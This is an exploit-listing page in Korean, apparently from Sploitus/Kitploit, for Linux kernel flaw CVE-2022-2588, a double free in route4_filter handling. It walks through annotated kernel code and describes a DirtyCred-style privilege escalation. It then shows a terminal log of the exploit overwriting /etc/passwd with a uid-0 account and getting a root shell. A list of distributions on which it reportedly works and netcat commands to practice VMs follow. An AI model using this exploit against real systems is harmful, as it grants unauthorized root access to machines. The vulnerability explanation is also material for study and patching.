Sploitus

Exploit for CVE-2022-2588 CVE-2021-3715 CVE-2022-2588

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN163 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DOM4570-CVE-2022-2588
# CVE-2022-2588

# μˆ˜μ •

이 λ²„κ·ΈλŠ” Linux v5.19μ—μ„œ 이 μ»€λ°‹μœΌλ‘œ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

# 버그

이 λ²„κ·ΈλŠ” 2014λ…„ 이 μ»€λ°‹μœΌλ‘œ Linux v3.17μ—μ„œ λ„μž…λ˜μ—ˆμŠ΅λ‹ˆλ‹€. νŠΈλ¦¬κ±°ν•˜λ €λ©΄ `User Namespaces`κ°€ ν•„μš”ν•©λ‹ˆλ‹€. 이 λ²„κ·ΈλŠ” CVE-2021-3715와 맀우 μœ μ‚¬ν•˜λ©°, μ΄λŠ” `route4_filter`의 μ—°κ²° λ¦¬μŠ€νŠΈμ— λŒ€ν•œ 잘λͺ»λœ μ—°μ‚°μœΌλ‘œ 인해 λ°œμƒν–ˆμŠ΅λ‹ˆλ‹€. CVE-2021-3715에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ λΈ”λž™ν–‡ λ°œν‘œ (16νŽ˜μ΄μ§€)μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. λ‹€μŒμ€ CVE-2022-2588에 λŒ€ν•œ κ°„λž΅ν•œ μ„€λͺ…μž…λ‹ˆλ‹€.

λ‹€μŒμ€ CVE-2022-2588을 μ΄ν•΄ν•˜κΈ° μœ„ν•œ ν•¨μˆ˜ `route4_change`의 μ€‘μš”ν•œ μ½”λ“œ μ‘°κ°μž…λ‹ˆλ‹€.

root@kitploit:~
    
    
    static int route4_change(...)
    {
        ...
        f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
        ...
        // λ™μΌν•œ 핸듀을 κ°€μ§„ ν•„ν„°κ°€ 있으면 일뢀 정보λ₯Ό 볡사
        if (fold) {                                                 [1]
            f->id = fold->id;
            f->iif = fold->iif;
            f->res = fold->res;
            f->handle = fold->handle;
    
            f->tp = fold->tp;
            f->bkt = fold->bkt;
            new = false;
        }
        
        // μƒˆ ν•„ν„° μ΄ˆκΈ°ν™”
        err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                       tca[TCA_RATE], new, flags, extack);
        if (err < 0)
            goto errout;
    
        // μƒˆ ν•„ν„°λ₯Ό λ¦¬μŠ€νŠΈμ— μ‚½μž…
        h = from_hash(f->handle >> 16);                             [3]
        fp = &f->bkt->ht[h];
        for (pfp = rtnl_dereference(*fp);
             (f1 = rtnl_dereference(*fp)) != NULL;
             fp = &f1->next)
            if (f->handle < f1->handle)
                break;
    
        tcf_block_netif_keep_dst(tp->chain->block);
        rcu_assign_pointer(f->next, f1);
        rcu_assign_pointer(*fp, f);
        
        // foldκ°€ μ‘΄μž¬ν•˜λ©΄ λ¦¬μŠ€νŠΈμ—μ„œ 제거
        if (fold && fold->handle && f->handle != fold->handle) {    [4]
            th = to_hash(fold->handle);
            h = from_hash(fold->handle >> 16);
            b = rtnl_dereference(head->table[th]);
            if (b) {
                fp = &b->ht[h];
                for (pfp = rtnl_dereference(*fp); pfp;
                     fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                    if (pfp == fold) {
                        rcu_assign_pointer(*fp, fold->next);  [5]// μ—°κ²° λ¦¬μŠ€νŠΈμ—μ„œ 이전 ν•„ν„° 제거
                        break;
                    }
                }
            }
        }
    ...
        // fold ν•„ν„°κ°€ μ‘΄μž¬ν•˜λ©΄ ν•΄μ œ                               [6]
        if (fold) {
            tcf_unbind_filter(tp, &fold->res);
            tcf_exts_get_net(&fold->exts);
            tcf_queue_work(&fold->rwork, route4_delete_filter_work);
        }
    

이 ν•¨μˆ˜λŠ” `route4_filter` 객체λ₯Ό μ΄ˆκΈ°ν™”/κ΅μ²΄ν•˜κΈ° μœ„ν•΄ κ΅¬ν˜„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. ν•„ν„°λŠ” `handle`을 고유 ID둜 μ‚¬μš©ν•˜μ—¬ 각 ν•„ν„°λ₯Ό κ΅¬λΆ„ν•©λ‹ˆλ‹€. 이전에 μ΄ˆκΈ°ν™”λœ ν•Έλ“€(즉, `fold` λ³€μˆ˜κ°€ null이 μ•„λ‹˜)이 있으면, 이전 ν•„ν„°λ₯Ό μ œκ±°ν•˜κ³  μƒˆ ν•„ν„°λ₯Ό μΆ”κ°€ν•˜μ—¬ ν•„ν„°λ₯Ό μ—…λ°μ΄νŠΈν•©λ‹ˆλ‹€. κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ μƒˆ ν•„ν„°λ§Œ μΆ”κ°€ν•©λ‹ˆλ‹€.

[0]μ—μ„œ 컀널은 `route4_filter` 객체λ₯Ό ν• λ‹Ήν•©λ‹ˆλ‹€. [1]μ—μ„œ foldκ°€ λΉ„μ–΄ μžˆμ§€ μ•ŠμœΌλ©΄(즉, λ™μΌν•œ 핸듀을 κ°€μ§„ ν•„ν„°κ°€ μ‘΄μž¬ν•¨) μƒˆ 필터에 일뢀 정보λ₯Ό λ³΅μ‚¬ν•˜κ³  [2]μ—μ„œ μƒˆ ν•„ν„°λ₯Ό μ΄ˆκΈ°ν™”ν•œ ν›„ [3]μ—μ„œ λ¦¬μŠ€νŠΈμ— μ‚½μž…ν•©λ‹ˆλ‹€. 이전 ν•„ν„°κ°€ μ‘΄μž¬ν•˜λ©΄ [4]μ—μ„œ λ¦¬μŠ€νŠΈμ—μ„œ 제거되고 [6]μ—μ„œ ν•΄μ œλ©λ‹ˆλ‹€.

λ²„κ·ΈλŠ” [4]μ—μ„œ λ°œμƒν•˜λ©°, μ—¬κΈ°μ„œλŠ” μ œκ±°ν•  이전 ν•„ν„°κ°€ μžˆλŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€. 쑰건은 핸듀이 0이 μ•„λ‹ˆμ–΄μ•Ό ν•˜λ©° μƒˆ ν•„ν„°μ˜ ν•Έλ“€κ³Ό μΌμΉ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€. 이 쑰건은 [6]μ—μ„œ ν•„ν„°λ₯Ό ν•΄μ œν•˜λŠ” 쑰건과 μΌμΉ˜ν•˜μ§€ μ•ŠμœΌλ©°, [6]μ—μ„œλŠ” 이전 ν•„ν„°μ˜ 쑴재 μ—¬λΆ€λ§Œ ν™•μΈν•©λ‹ˆλ‹€. λ”°λΌμ„œ μ‚¬μš©μžκ°€ 핸듀이 0인 ν•„ν„°λ₯Ό μƒμ„±ν•œ λ‹€μŒ ꡐ체λ₯Ό νŠΈλ¦¬κ±°ν•˜λ©΄ [4]μ—μ„œ 연결이 ν•΄μ œλ˜μ§€ μ•Šμ§€λ§Œ 쑰건이 λ™μΌν•˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— [6]μ—μ„œ ν•΄μ œλ©λ‹ˆλ‹€.

# μ΅μŠ€ν”Œλ‘œμž‡

이 λ²„κ·ΈλŠ” CVE-2021-3715와 μœ μ‚¬ν•˜λ―€λ‘œ ν”„λ¦¬λ―Έν‹°λΈŒλ„ 거의 λ™μΌν•©λ‹ˆλ‹€. λ…μžλŠ” ν”„λ¦¬λ―Έν‹°λΈŒμ— λŒ€ν•œ μžμ„Έν•œ μ„€λͺ…을 λΈ”λž™ν–‡ λ°œν‘œμ—μ„œ μ°Έμ‘°ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 λ¬Έμ„œλŠ” DirtyCred의 κ°œλ…μ„ μ‚¬μš©ν•œ μ΅μŠ€ν”Œλ‘œμž‡μ„ λ³΄μ—¬μ€λ‹ˆλ‹€.

버그λ₯Ό νŠΈλ¦¬κ±°ν•œ ν›„ ν•΄μ œλœ `fold`κ°€ μ—¬μ „νžˆ μ—°κ²° λ¦¬μŠ€νŠΈμ— μžˆμœΌλ―€λ‘œ `fold`λ₯Ό λ‹€μ‹œ ν•œ 번 ν•΄μ œν•  수 있으며, μ΄λŠ” κ²°κ΅­ `route4_filer` 객체와 `CONFIG_NET_CLS_ACT`κ°€ ν™œμ„±ν™”λœ 경우 `route4_filter->exts.action` 객체에 λŒ€ν•΄ 이쀑 ν•΄μ œλ₯Ό μœ λ°œν•©λ‹ˆλ‹€.

μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œλŠ” 이 두 κ°€μ§€ 이쀑 ν•΄μ œ κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μž‘μ—… 자격 증λͺ… (kmalloc-192 이쀑 ν•΄μ œ ν™œμš©, μΆ”ν›„ 제곡) 및 μ—΄λ¦° 파일 자격 증λͺ… (kmalloc-256 이쀑 ν•΄μ œ ν™œμš©)에 λŒ€ν•œ 곡격을 μ‹œμ—°ν•©λ‹ˆλ‹€.

## 파일 자격 증λͺ… 곡격

DirtyCred의 κ°œλ…μ— 따라 μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œλŠ” κΆŒν•œ 검사 ν›„ 파일 자격 증λͺ…을 κ΅μ²΄ν•˜μ—¬ 읽기 κΆŒν•œμ΄ μžˆλŠ” νŒŒμΌμ— μ–΄λ–€ λ‚΄μš©μ΄λ“  μ“Έ 수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€. μ΄μƒμ μœΌλ‘œ 이 μ½”λ“œλŠ” λ²„κ·Έμ˜ 영ν–₯을 λ°›λŠ” λͺ¨λ“  컀널 λ²„μ „μ—μ„œ μž‘λ™ν•©λ‹ˆλ‹€. 이전 μ»€λ„μ—μ„œλŠ” `msg_msg`κ°€ `kmalloc-rcl-*`μ—μ„œ κ²©λ¦¬λ˜μ–΄ μžˆμœΌλ―€λ‘œ μ΅μŠ€ν”Œλ‘œμž‡μ€ λ‹€λ₯Έ μŠ€ν”„λ ˆμ΄ 객체λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.

root@kitploit:~
    
    
    [zip@localhost ~]$ ./exp_file
    self path /home/zip/./exp_file
    prepare done
    Old limits -> soft limit= 14096          hard limit= 14096
    starting exploit, num of cores: 32
    defrag done
    spray 256 done
    freed the filter object
    256 freed done
    double free done
    spraying files
    found overlap, id : 257, 1061
    start slow write
    closed overlap
    got cmd, start spraying /etc/passwd
    spray done
    write done, spent 1.621078 s
    should be after the slow write
    succeed
    [zip@localhost ~]$ head -n 4 /etc/passwd
    user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    [zip@localhost ~]$ su user # the password is user
    Password:
    sh-4.4# id
    uid=0(user) gid=0(root) groups=0(root)
    

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ μ΅œλŒ€ν•œ λ§Žμ€ λ°°ν¬νŒμ—μ„œ μž‘λ™ν•˜λ„λ‘ μž‘μ„±λ˜μ—ˆμŠ΅λ‹ˆλ‹€. λ‹€μŒμ—μ„œ μž‘λ™μ΄ ν™•μΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€.

  * CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  * CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  * Debian 11 (5.10.0-8-amd64 ~ xxx)
  * Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  * Manjaro 18 (xxx ~ xxx)
  * RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  * Ubuntu 17 (4.10.0-19-generic ~ xxx)
  * Ubuntu 18 (xxx ~ xxx)
  * Ubuntu 19 (5.0.0-38-generic ~ xxx)
  * Ubuntu 20 (xxx ~ xxx)



(λ‹€λ₯Έ μ»€λ„μ—μ„œλ„ μž‘λ™ν•˜λŠ” 것을 λ°œκ²¬ν•˜λ©΄ PR을 보내 μ—…λ°μ΄νŠΈν•΄ μ£Όμ„Έμš”.)

## VMμ—μ„œ μ΅μŠ€ν”Œλ‘œμž‡μ„ μ‹€ν–‰ν•΄ 보고 μ‹ΆμœΌμ‹ κ°€μš”?

**μ‚¬μš©μž`low`와 λΉ„λ°€λ²ˆν˜Έ `low`둜 λ‘œκ·ΈμΈν•΄ μ£Όμ„Έμš”.**

**Ubuntu 20**

root@kitploit:~
    
    
    nc 150.136.171.117 1337
    

**Centos 8**

root@kitploit:~
    
    
    nc 150.136.171.117 1338